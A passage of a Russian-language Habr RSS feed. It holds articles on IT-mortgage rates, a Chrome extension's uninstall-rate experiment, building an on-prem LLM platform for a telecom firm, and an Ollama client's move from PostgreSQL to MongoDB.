nofollow&#34;&gt;ЦИАН&lt;/a&gt;, &lt;a href=https://www.gosuslugi.ru/newsearch/it-ipoteka rel=&#34;noopener noreferrer nofollow&#34;&gt;Госуслуги&lt;/a&gt;): ставка до 6%, льготная часть лимита 9 млн руб. (единая для всех регионов; сверх лимита идёт по рыночной ставке), только новостройки, не доступна в самих Москве и СПб (но доступна в Московской и Ленинградской областях). Требуется работа в аккредитованной Минцифры IT-компании, применяющей налоговые льготы, с зарплатой от 150 тыс. руб/мес (90 тыс. для небольших городов). При увольнении даётся 6 месяцев на трудоустройство в другую такую компанию, иначе ставка становится рыночной. Программа до конца 2030 года.&lt;li&gt;&lt;p&gt;&lt;a href=https://frankrg.com/news/ipoteka-2025-2026-stress-test-vysokimi-stavkami-i-prognozy-na-vosstanovlenie rel=&#34;noopener noreferrer nofollow&#34;&gt;Frank RG&lt;/a&gt;: &amp;#34;Ипотека 2025-2026: стресс-тест высокими ставками&amp;#34;, рыночная ставка достигала 30%+ в январе 2025. К середине 2026 рыночная ипотека опустилась до ~19%; прогноз на конец 2026 составляет 16-17% (консенсус НРА/Минфин), оптимистично 14.5-15% (Frank RG).&lt;li&gt;&lt;p&gt;Ключевые ставки центробанков (середина 2026): &lt;a href=https://www.boj.or.jp/en/mopo/mpmdeci/index.htm rel=&#34;noopener noreferrer nofollow&#34;&gt;Банк Японии&lt;/a&gt; ~0.75%, &lt;a href=https://www.ecb.europa.eu/stats/policy_and_exchange_rates/key_ecb_interest_rates/html/index.en.html rel=&#34;noopener noreferrer nofollow&#34;&gt;ЕЦБ&lt;/a&gt; ~2.0%, &lt;a href=https://www.federalreserve.gov/monetarypolicy/openmarket.htm rel=&#34;noopener noreferrer nofollow&#34;&gt;ФРС США&lt;/a&gt; 3.5-3.75%, &lt;a href=https://www.cbr.ru/hd_base/keyrate/ rel=&#34;noopener noreferrer nofollow&#34;&gt;ЦБ РФ&lt;/a&gt; 14.5%.&lt;/ol&gt;&lt;p&gt;Все расчеты: квартира 60 м² в центре города, первоначальный взнос 20%, срок 20 лет, аннуитетный платеж. Цены средние по стране (Numbeo), зарубежные ставки это снимок mid-2025/2026, российская ставка и курс на середину 2026. IT-зарплаты gross (по России медианные, по другим странам преимущественно средние). Курс рубля ~72 руб/$. Данные и расчеты актуальны на 10 июня 2026 года. Ставки и цены могут измениться.&lt;p&gt;Статья носит исключительно информационный характер и не является финансовой, инвестиционной или юридической рекомендацией. Автор не призывает к каким-либо действиям на основе приведённых данных. Все расчёты основаны на открытых источниках и могут содержать неточности. Перед принятием финансовых решений проконсультируйтесь со специалистом. Если вы нашли неточность или ошибку в цифрах — напишите в комментариях, исправлю и добавлю вас как соавтора.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>scandinavi</author>
      <guid>https://habr.com/ru/articles/1046133/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046133</guid>
      <pubDate>Wed, 10 Jun 2026 15:01:42 +0000</pubDate>
    </item>
    <item>
      <title>Мы не меняли код расширения, но снизили удаления на 13%: кейс Chrome Web Store</title>
      <link>https://habr.com/ru/articles/1046125/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046125</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Несколько месяцев назад мы запустили своё первое расширение для Chrome — &lt;a href=https://chromewebstore.google.com/detail/download-manager/mbbfelhkkbkohikdlgddlijcfpahidjg rel=&#34;noopener noreferrer nofollow&#34;&gt;Download Manager&lt;/a&gt; (ссылка вшита в название).&lt;p&gt;После публикации я написала статью о первых результатах запуска. Среди комментариев было много полезной критики, а один из минусов был поставлен с формулировкой «Низкий технический уровень материала».&lt;p&gt;&lt;em&gt;Что ж, справедливо.&lt;/em&gt;&lt;p&gt;Поэтому сегодня будет меньше истории про запуск расширения и больше цифр, таблиц, конверсий и попыток понять, что вообще происходит внутри Chrome Web Store.&lt;p&gt;&lt;strong&gt;В общем, просили технический материал — держите. Я даже добровольно открыла Excel.&lt;/strong&gt;&lt;blockquote&gt;&lt;p&gt;Самое интересное заключается в том, что мы не меняли код расширения, не добавляли новые функции и не запускали рекламу. Изменения коснулись только текста и первого скриншота в магазине.&lt;/blockquote&gt;&lt;p&gt;Результат оказался гораздо интереснее, чем ожидалось.&lt;h2&gt;Смотрим цифры и разбираемся, что произошло&lt;/h2&gt;&lt;h3&gt;Немного контекста&lt;/h3&gt;&lt;p&gt;Изначально расширение задумывалось как более удобная оболочка для работы с загрузками в Chrome.&lt;p&gt;Во время разработки быстро выяснилось, что многие вещи, которые пользователи ожидают от менеджеров загрузок, невозможно реализовать внутри обычного браузерного расширения.&lt;blockquote&gt;&lt;p&gt;Если коротко: Chrome очень заботится о безопасности пользователей и значительно меньше заботится о планах разработчиков.&lt;/blockquote&gt;&lt;p&gt;Например, расширение не может:&lt;ul&gt;&lt;li&gt;&lt;p&gt;управлять TCP-соединениями;&lt;li&gt;&lt;p&gt;реализовывать многопоточную загрузку как IDM;&lt;li&gt;&lt;p&gt;напрямую влиять на скорость скачивания файлов;&lt;li&gt;&lt;p&gt;использовать собственный сетевой стек.&lt;/ul&gt;&lt;p&gt;&lt;em&gt;На этом этапе я поняла, почему многие расширения в Chrome Web Store обещают «ускорение загрузок», но очень осторожно избегают объяснений, как именно они это делают.&lt;/em&gt;&lt;h3&gt;Первые результаты после запуска&lt;/h3&gt;&lt;p&gt;После публикации мы сознательно отказались от рекламы.&lt;p&gt;Хотелось посмотреть, насколько хорошо Chrome Web Store способен самостоятельно приводить пользователей новому расширению.&lt;p&gt;Через несколько недель были получены следующие показатели:&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;&lt;p align=left&gt;Метрика&lt;th&gt;&lt;p align=left&gt;Значение&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Показы карточки&lt;td&gt;&lt;p align=left&gt;1973&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Переходы&lt;td&gt;&lt;p align=left&gt;349&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Установки&lt;td&gt;&lt;p align=left&gt;127&lt;tr&gt;&lt;td&gt;&lt;p align=left&gt;Удаления&lt;td&gt;&lt;p align=left&gt;62&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4&gt;Конверсии&lt;/h4&gt;&lt;p&gt;CTR (Показы → Переходы): 1973 → 349 = 17,7%&lt;p&gt;CR1 (Переходы → Установки): 349 → 127 = 36,4%&lt;p&gt;Общая конверсия: 1973 → 127 = 6,4%&lt;p&gt;Удаления от установок: 62 / 127 = 48,8%&lt;p&gt;&lt;strong&gt;Последний показатель сразу привлёк внимание. &lt;/strong&gt;Практически каждый второй пользователь удалял расширение.&lt;blockquote&gt;&lt;p&gt;Для нового продукта это не катастрофа, но и хорошим результатом назвать сложно.&lt;/blockquote&gt;&lt;p&gt;&lt;em&gt;Возник вопрос: почему?&lt;/em&gt;&lt;h3&gt;Гипотеза&lt;/h3&gt;&lt;p&gt;Подробный разбор этой истории уже был в предыдущей &lt;a href=https://habr.com/ru/articles/1045977/ rel=&#34;noopener noreferrer nofollow&#34;&gt;статье&lt;/a&gt;, поэтому не буду пересказывать её целиком.&lt;p&gt;Коротко: мы предположили, что проблема находится не в продукте, а в ожиданиях пользователей. Многие воспринимают название &lt;strong&gt;Download Manager&lt;/strong&gt; как обещание функций полноценного ускорителя загрузок вроде IDM, а потом приходят в расширение и обнаруживают, что телепортации файлов через интернет пока не произошло.&lt;p&gt;&lt;em&gt;Если гипотеза верна, то исправлять нужно не код, а коммуникацию с пользователем.&lt;/em&gt;&lt;h3&gt;Эксперимент&lt;/h3&gt;&lt;p&gt;&lt;em&gt;25 мая мы решили проверить эту гипотезу.&lt;/em&gt;&lt;p&gt;&lt;strong&gt;Изменения были минимальными:&lt;/strong&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Добавили в краткое описание фразу о том, что расширение не является ускорителем загрузок.&lt;li&gt;&lt;p&gt;Добавили аналогичное пояснение на первый скриншот в Chrome Web Store.&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Важно отметить:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Код расширения не менялся.&lt;li&gt;&lt;p&gt;Никаких новых функций не добавлялось.&lt;li&gt;&lt;p&gt;Внешний трафик не закупался.&lt;li&gt;&lt;p&gt;Изменились только ожидания пользователя до установки.&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;Обычно продуктовые эксперименты ассоциируются с новыми функциями, редизайном или сложными A/B-тестами. Но наш эксперимент состоял из одной строчки текста. Иногда продуктовая аналитика бывает очень унизительной для разработчиков)&lt;/blockquote&gt;&lt;h3&gt;Сравнение результатов&lt;/h3&gt;&lt;p&gt;Для чистоты эксперимента я сравнила два одинаковых периода по 14 дней.&lt;h4&gt;До изменения позиционирования&lt;/h4&gt;&lt;p&gt;11.05–24.05&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/8e1/262/65b/8e126265bb79b6698db4b5b9bd53d9d7.png width=1308 height=420 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/8e1/262/65b/8e126265bb79b6698db4b5b9bd53d9d7.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/8e1/262/65b/8e126265bb79b6698db4b5b9bd53d9d7.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Конверсии:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;CTR: 17,7%&lt;li&gt;&lt;p&gt;CR1: 36,4%&lt;li&gt;&lt;p&gt;Общая конверсия: 6,4%&lt;li&gt;&lt;p&gt;Удаления от установок: 48,8%&lt;/ul&gt;&lt;h4&gt;После изменения позиционирования&lt;/h4&gt;&lt;p&gt;26.05–08.06&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/727/68d/fc6/72768dfc6c6d23996aed09261d92e898.png width=1308 height=420 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/727/68d/fc6/72768dfc6c6d23996aed09261d92e898.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/727/68d/fc6/72768dfc6c6d23996aed09261d92e898.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Конверсии:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;CTR: 18,4%&lt;li&gt;&lt;p&gt;CR1: 31,1%&lt;li&gt;&lt;p&gt;Общая конверсия: 5,7%&lt;li&gt;&lt;p&gt;Удаления от установок: 42,4%&lt;/ul&gt;&lt;h3&gt;Самое интересное&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;Самое забавное, что на первый взгляд эксперимент выглядит как провал. Конверсия в установку упала.&lt;p&gt;Любой маркетолог сейчас бы начал нервно листать отчёты. Но если копнуть чуть глубже, картина оказывается совсем другой.&lt;/blockquote&gt;&lt;p&gt;Конверсия в установку действительно снизилась: 36,4% → 31,1%&lt;p&gt;То есть часть пользователей перестала устанавливать расширение. &lt;strong&gt;Но именно этого мы и добивались. &lt;/strong&gt;Теперь карточка заранее отсекала аудиторию, которая искала ускоритель загрузок. В результате произошло более важное изменение.&lt;p&gt;Удаления снизились: 48,8% → 42,4%&lt;p&gt;Относительное снижение составило почти 13%.&lt;blockquote&gt;&lt;p&gt;Другими словами, пользователей стало меньше, но они оказались более целевыми.&lt;/blockquote&gt;&lt;h3&gt;Ещё один показатель&lt;/h3&gt;&lt;p&gt;Посмотрим на количество пользователей, которое остаётся после установок.&lt;p&gt;До изменения: 127 установок − 62 удаления = 65 пользователей&lt;p&gt;После изменения: 144 установки − 61 удаление = 83 пользователя&lt;p&gt;Получается интересный эффект. Раньше из каждых 100 установивших расширение оставалось около 51 пользователя. После корректировки позиционирования стало оставаться около 58 пользователей.&lt;blockquote&gt;&lt;p&gt;Фактически мы увеличили эффективность каждой установки примерно на 13%. Не меняя ни одной строчки кода.&lt;/blockquote&gt;&lt;h3&gt;Что это говорит о Chrome Web Store&lt;/h3&gt;&lt;p&gt;На основании этих данных можно сделать несколько выводов.&lt;h4&gt;1. Chrome Web Store действительно приводит органический трафик&lt;/h4&gt;&lt;p&gt;Даже новое расширение способно получать показы и установки без рекламы.&lt;h4&gt;2. Алгоритмам важны не только установки&lt;/h4&gt;&lt;p&gt;Если пользователь быстро удаляет расширение, это тоже сигнал качества продукта.&lt;h4&gt;3. Позиционирование может влиять сильнее функциональности&lt;/h4&gt;&lt;p&gt;Во время эксперимента не изменился сам продукт. Изменилось только описание продукта. Однако эффект оказался измеримым.&lt;h4&gt;4. Высокая конверсия не всегда является хорошим показателем&lt;/h4&gt;&lt;p&gt;Иногда снижение конверсии означает улучшение качества аудитории. Наш случай оказался именно таким.&lt;h3&gt;Что дальше&lt;/h3&gt;&lt;p&gt;Следующий этап эксперимента — дальнейшая работа с позиционированием и пользовательскими ожиданиями.&lt;p&gt;&lt;strong&gt;Сейчас интересно проверить ещё одну гипотезу.&lt;/strong&gt;&lt;blockquote&gt;&lt;p&gt;Если уменьшить количество нецелевых установок ещё сильнее, сможет ли это дополнительно улучшить удержание и органический рост внутри Chrome Web Store?&lt;/blockquote&gt;&lt;p&gt;Пока данных недостаточно для однозначных выводов.&lt;p&gt;Но уже сейчас можно сказать, что для новых расширений проблема зачастую заключается не в трафике и не в функциональности, а в том, что пользователь ожидает увидеть после установки.&lt;p&gt;И иногда одна строка текста способна повлиять на метрики сильнее, чем несколько недель разработки.&lt;p&gt;&lt;em&gt;P.S. Если среди читателей есть разработчики Chrome-расширений, будет интересно узнать ваши наблюдения по удержанию пользователей и влиянию позиционирования на конверсии. Особенно интересен опыт работы с Chrome Web Store на небольших объёмах трафика.&lt;/em&gt;&lt;p&gt;&lt;em&gt;А если кто-то уже проходил путь «пользователи ожидали одно, а получили другое», то, подозреваю, мы состоим в одном и том же клубе.&lt;/em&gt;&lt;p&gt;&lt;em&gt;К следующей статье обещал подключиться&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>lapouh04</author>
      <guid>https://habr.com/ru/articles/1046125/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046125</guid>
      <pubDate>Wed, 10 Jun 2026 14:56:11 +0000</pubDate>
    </item>
    <item>
      <title>Когда компании пора строить свой LLM-кластер, а не пользоваться внешними API</title>
      <link>https://habr.com/ru/articles/1046115/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046115</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;На раннем этапе внедрения LLM в компании выглядят как быстрый выигрыш: подключается внешний API (например, ChatGPT), ускоряется работа с текстами, автоматизируются ответы, появляются первые сценарии аналитики и агентных пайплайнов через Make или n8n.&lt;p&gt;До определённого масштаба этого достаточно.&lt;p&gt;По мере роста компании LLM перестаёт быть вспомогательным инструментом и становится частью операционных процессов. В системе появляются чувствительные данные, требования к контролю доступа, необходимость стабильной работы, интеграции во внутренние сервисы и вопросы экономики при больших объёмах запросов.&lt;p&gt;В этот момент модель «внешний API по подписке» начинает ограничивать развитие.&lt;h3&gt;On-prem LLM как архитектурный слой&lt;/h3&gt;&lt;p&gt;On-premise LLM — это модель и инфраструктура, развёрнутые внутри контролируемого контура компании: собственный дата-центр, colocation или private cloud.&lt;p&gt;Это принципиально отличается от использования внешнего API.&lt;p&gt;On-prem модель даёт:&lt;ul&gt;&lt;li&gt;&lt;p&gt;контроль над данными и их размещением;&lt;li&gt;&lt;p&gt;контроль над доступами, ролями и сценариями использования;&lt;li&gt;&lt;p&gt;возможность встроить LLM в процессы как внутренний сервис, а не как внешний инструмент.&lt;/ul&gt;&lt;p&gt;Речь идёт не о «переносе ChatGPT внутрь», а о построении AI-платформы как части корпоративной архитектуры.&lt;h3&gt;Когда внешний LLM перестаёт работать&lt;/h3&gt;&lt;p&gt;Переход к on-prem не происходит «по желанию». Обычно это реакция на конкретные ограничения.&lt;h4&gt;1. Работа с чувствительными данными&lt;/h4&gt;&lt;p&gt;Как только в LLM начинают попадать внутренние документы, клиентские данные, операционные показатели, возникает вопрос контроля.&lt;p&gt;Для внешних API это означает:&lt;ul&gt;&lt;li&gt;&lt;p&gt;ограничения со стороны security и legal;&lt;li&gt;&lt;p&gt;невозможность использовать модель в ряде процессов;&lt;li&gt;&lt;p&gt;необходимость ручных обходных решений.&lt;/ul&gt;&lt;p&gt;On-prem снимает этот блок: данные остаются внутри периметра, что ускоряет внедрение AI в процессы.&lt;h4&gt;2. LLM становится частью системы&lt;/h4&gt;&lt;p&gt;Следующий этап — интеграция модели в продукты и внутренние инструменты:&lt;ul&gt;&lt;li&gt;&lt;p&gt;роли и уровни доступа;&lt;li&gt;&lt;p&gt;интеграции с внутренними системами;&lt;li&gt;&lt;p&gt;работа внутри интерфейсов сотрудников;&lt;li&gt;&lt;p&gt;возврат результата обратно в бизнес-системы.&lt;/ul&gt;&lt;p&gt;В такой архитектуре важно, чтобы данные не уходили во внешние сервисы.&lt;p&gt;On-prem даёт:&lt;ul&gt;&lt;li&gt;&lt;p&gt;контроль над доступами и источниками данных;&lt;li&gt;&lt;p&gt;возможность логирования и аудита;&lt;li&gt;&lt;p&gt;предсказуемое поведение модели в рамках заданных сценариев.&lt;/ul&gt;&lt;h4&gt;3. Рост объёмов и экономика&lt;/h4&gt;&lt;p&gt;На старте API-модель выглядит оптимальной: нет инфраструктуры, нет капитальных затрат.&lt;p&gt;На масштабе ситуация меняется:&lt;ul&gt;&lt;li&gt;&lt;p&gt;расходы на токены могут достигать десятков тысяч долларов;&lt;li&gt;&lt;p&gt;бюджет становится менее предсказуемым;&lt;li&gt;&lt;p&gt;стоимость каждого нового сценария зависит от внешнего тарифа.&lt;/ul&gt;&lt;p&gt;Собственная инфраструктура в этом случае даёт управляемую экономику и предсказуемость затрат.&lt;h3&gt;Кому подходит on-prem LLM&lt;/h3&gt;&lt;p&gt;On-prem решения обычно появляются там, где LLM становится частью операционной системы бизнеса:&lt;ul&gt;&lt;li&gt;&lt;p&gt;регулируемые отрасли с требованиями комплаенса;&lt;li&gt;&lt;p&gt;компании с большими объёмами внутренних данных;&lt;li&gt;&lt;p&gt;контакт-центры и массовый сервис;&lt;li&gt;&lt;p&gt;организации с несколькими продуктами и командами;&lt;li&gt;&lt;p&gt;компании с прогнозируемым ростом нагрузки.&lt;/ul&gt;&lt;h3&gt;Кейс: LLM-платформа для телеком-компании (MENA)&lt;/h3&gt;&lt;p&gt;В проекте для телеком-компании из региона MENA задача формулировалась не как «развернуть кластер», а как построить платформу для GenAI внутри корпоративного периметра.&lt;p&gt;Цель — создать контур, в котором разные команды могут:&lt;ul&gt;&lt;li&gt;&lt;p&gt;запускать обучение и инференс;&lt;li&gt;&lt;p&gt;работать с данными;&lt;li&gt;&lt;p&gt;развивать AI-сценарии без разрозненных решений.&lt;/ul&gt;&lt;p&gt;Реализация была разбита на фазы.&lt;h4&gt;Основные этапы&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;фиксация целей и требований на уровне бизнес-процессов;&lt;li&gt;&lt;p&gt;проектирование контура: вычисления, данные, безопасность, эксплуатация;&lt;li&gt;&lt;p&gt;развёртывание платформы в периметре компании;&lt;li&gt;&lt;p&gt;интеграции с внутренними системами;&lt;li&gt;&lt;p&gt;организация хранения и структурирование данных;&lt;li&gt;&lt;p&gt;настройка метрик, логов и дашбордов;&lt;li&gt;&lt;p&gt;тестирование сценариев обучения и инференса под нагрузкой;&lt;li&gt;&lt;p&gt;передача документации и выстраивание эксплуатации.&lt;/ul&gt;&lt;h3&gt;Техническая реализация&lt;/h3&gt;&lt;h4&gt;Фазность и вычислительные ресурсы&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Phase 1:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Kubernetes развёрнут на 2 DGX + 2 management nodes&lt;li&gt;&lt;p&gt;16 GPU A100 (2 compute-ноды по 8× A100)&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Phase 2:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;расширение worker-слоя до 3× DGX A100 (DGX01, DGX02, DGX03)&lt;/ul&gt;&lt;h4&gt;Данные и хранилище&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Lustre-backed DDN storage&lt;li&gt;&lt;p&gt;общий путь /scratch для датасетов, чекпоинтов и артефактов&lt;li&gt;&lt;p&gt;объём: 100 TB shared storage&lt;/ul&gt;&lt;h4&gt;Наблюдаемость&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Prometheus + Grafana (метрики, GPU, ноды)&lt;li&gt;&lt;p&gt;централизованные логи: OpenSearch&lt;/ul&gt;&lt;h4&gt;Тестирование&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Distributed training:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;сценарий: 2 ноды × 4 GPU&lt;li&gt;&lt;p&gt;объём данных: 20 GB → ~10 GB после препроцессинга&lt;li&gt;&lt;p&gt;job завершён успешно&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Инференс:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;модель: Llama-3-3-70B-Instruct&lt;li&gt;&lt;p&gt;нагрузка: 100–200 запросов&lt;li&gt;&lt;p&gt;throughput: 300–700 tok/s&lt;li&gt;&lt;p&gt;контроль: TTFT / TPOT / ITL&lt;/ul&gt;&lt;h3&gt;Что даёт такая платформа&lt;/h3&gt;&lt;p&gt;После развёртывания компания получает не отдельный сервис, а базу для развития AI-функций.&lt;p&gt;Типовые направления:&lt;h4&gt;1. Внутренние AI-ассистенты&lt;/h4&gt;&lt;p&gt;Ассистенты для техподдержки, продаж, операционных и юридических команд с доступом к внутренним знаниям.&lt;h4&gt;2. Контакт-центр&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;подсказки операторам&lt;li&gt;&lt;p&gt;суммаризация диалогов&lt;li&gt;&lt;p&gt;классификация обращений&lt;li&gt;&lt;p&gt;ускорение обработки тикетов&lt;/ul&gt;&lt;h4&gt;3. RAG и корпоративный поиск&lt;/h4&gt;&lt;p&gt;Единая точка доступа к документам и знаниям:&lt;br&gt;запрос → ответ с источниками.&lt;h4&gt;4. Доменная адаптация моделей&lt;/h4&gt;&lt;p&gt;Донастройка под терминологию, продукты и типовые обращения компании.&lt;h4&gt;5. Масштабирование&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;добавление моделей&lt;li&gt;&lt;p&gt;рост нагрузки&lt;li&gt;&lt;p&gt;расширение compute и storage без перестройки архитектуры&lt;/ul&gt;&lt;h4&gt;6. Регулярный продакшн-цикл&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;тестирование&lt;li&gt;&lt;p&gt;мониторинг&lt;li&gt;&lt;p&gt;регресс-прогоны&lt;li&gt;&lt;p&gt;контроль качества&lt;/ul&gt;&lt;h3&gt;Результат на уровне бизнеса&lt;/h3&gt;&lt;p&gt;On-prem LLM-платформа даёт три ключевых эффекта:&lt;ul&gt;&lt;li&gt;&lt;p&gt;новые AI-сценарии добавляются итерациями без пересборки инфраструктуры (предсказуемый time-to-value);&lt;li&gt;&lt;p&gt;появляется прозрачность системы: нагрузка, узкие места, причины деградации;&lt;li&gt;&lt;p&gt;расходы становятся управляемыми при росте использования.&lt;/ul&gt;&lt;h3&gt;Вывод&lt;/h3&gt;&lt;p&gt;Внешние LLM-API эффективны на этапе экспериментов и первых сценариев.&lt;p&gt;Когда AI становится частью процессов, появляются требования к контролю данных, интеграциям, стабильности и экономике. В этот момент возникает необходимость в собственной инфраструктуре.&lt;p&gt;On-prem LLM — это не альтернатива API, а следующий этап развития: переход от использования модели как инструмента к построению AI как системного слоя внутри компании.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>it-calm</author>
      <guid>https://habr.com/ru/articles/1046115/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046115</guid>
      <pubDate>Wed, 10 Jun 2026 14:46:16 +0000</pubDate>
    </item>
    <item>
      <title>Эволюция клиента для Ollama: от PostgreSQL к MongoDB</title>
      <link>https://habr.com/ru/companies/beeline_cloud/articles/1046111/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046111</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;blockquote&gt;&lt;p&gt;«Код уже писать не надо, надо знать только цель, а код напишет себя сам». &lt;p&gt;Виктор Пелевин «iPhuck 10»&lt;/blockquote&gt;&lt;p&gt;Привет. Меня зовут Николай Пискунов, я руководитель направления Big Data и эксперт курса Cloud DevSecOps по безопасной разработке от Академии вАЙТИ &lt;a href=&#34;https://cloud.beeline.ru/?utm_source=owned_media&amp;amp;utm_medium=habr&amp;amp;utm_campaign=beeline_cloud&amp;amp;utm_term=mongodb&#34;&gt;Beeline Cloud&lt;/a&gt;. Продолжаю цикл статей о клиенте для облачного сервиса Ollama. &lt;a href=https://habr.com/ru/companies/beeline_cloud/articles/1031708/&gt;В первой части&lt;/a&gt; я рассказал, как родился этот клиент, с какими трудностями пришлось столкнуться при организации стриминга, и даже оставил пасхалку.&lt;p&gt;Однако, как и любой живой проект, этот клиент не стоит на месте. В этой части хочу поговорить о трёх ключевых изменениях, которые произошли после выхода первой версии:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Смена базы данных. Почему решил отказаться от PostgreSQL в пользу MongoDB.&lt;li&gt;&lt;p&gt;Оптимизация фронтенда. Борьба с зависаниями интерфейса при обработке длинных промтов и ответов от нейросетей.&lt;li&gt;&lt;p&gt;Новая функциональность. «Анализ проекта» — удобный способ загрузить код для ревью, с умной фильтрацией через .gitignore.&lt;/ul&gt;&lt;p&gt;Поехали!&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/b3d/d56/fce/b3dd56fcee5f9f0123445accde230c9c.png width=1024 height=683 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/b3d/d56/fce/b3dd56fcee5f9f0123445accde230c9c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/b3d/d56/fce/b3dd56fcee5f9f0123445accde230c9c.png 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h3&gt;PostgreSQL vs MongoDB: история одной замены&lt;/h3&gt;&lt;p&gt;В первой версии проекта всё было «по-взрослому»: реляционная база данных PostgreSQL, таблица &lt;code&gt;chat_history&lt;/code&gt; с чёткой структурой (&lt;code&gt;id&lt;/code&gt;, &lt;code&gt;user_message&lt;/code&gt;, &lt;code&gt;assistant_response&lt;/code&gt;, &lt;code&gt;model&lt;/code&gt;, &lt;code&gt;created_at&lt;/code&gt;). Казалось бы, что может быть надёжнее? Но я понял, что переход на MongoDB способен значительно улучшить производительность при работе с большими текстами, но с определёнными оговорками. Для нашего случая, когда проблема именно в сохранении больших ответов от LLM, MongoDB предлагает более прямое и эффективное решение. Дальше опишу ключевые различия PostgreSQL и MongoDB при работе с текстами. Понимание того, как каждая база данных обрабатывает большие данные, поможет увидеть, где можно выиграть в производительности.&lt;h4&gt;PostgreSQL &lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Механизм хранения. Использует TOAST (The Oversized-Attribute Storage Technique). Когда текст превышает ~2 КБ, он автоматически сжимается и перемещается в отдельные служебные TOAST-таблицы. В основной таблице остаётся только указатель.&lt;li&gt;&lt;p&gt;Накладные расходы. TOAST — это мощный, но тяжёлый механизм. Он требует дополнительных операций сжатия/распаковки и чтения из нескольких таблиц, что создаёт нагрузку на процессор и дисковую систему.&lt;li&gt;&lt;p&gt;Производительность при работе с большими текстами. Падает по мере разрастания текста. Производительность PostgreSQL ухудшается, как только в дело вступает TOAST (после 2 КБ).&lt;li&gt;&lt;p&gt;Лимиты. До 1 ГБ на колонку (конечно, не критично для нашего кейса).&lt;li&gt;&lt;p&gt;Обновления. PostgreSQL работает неэффективно — перезаписывает весь объект, а не только изменения.&lt;/ul&gt;&lt;h4&gt;MongoDB&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Механизм хранения. Хранит данные в бинарном формате BSON как единые, самодостаточные документы. В нашем случае это означает, что весь диалог (история + новый ответ) может быть одним документом.&lt;li&gt;&lt;p&gt;Накладные расходы. Отсутствует аналог TOAST. Чтение документа — это, как правило, одна операция ввода-вывода. Это упрощает работу и снижает нагрузку.&lt;li&gt;&lt;p&gt;Предсказуемая производительность при работе с большими текстами, пока документ не превышает лимит. MongoDB изначально проектировалась для работы с большими объёмами данных в одном документе.&lt;li&gt;&lt;p&gt;Лимиты. До 16 МБ на документ. Для подавляющего большинства диалогов с LLM этого более чем достаточно.&lt;li&gt;&lt;p&gt;Обновления. Позволяет эффективно обновлять часть документа (например, добавлять новое сообщение), не перезаписывая его 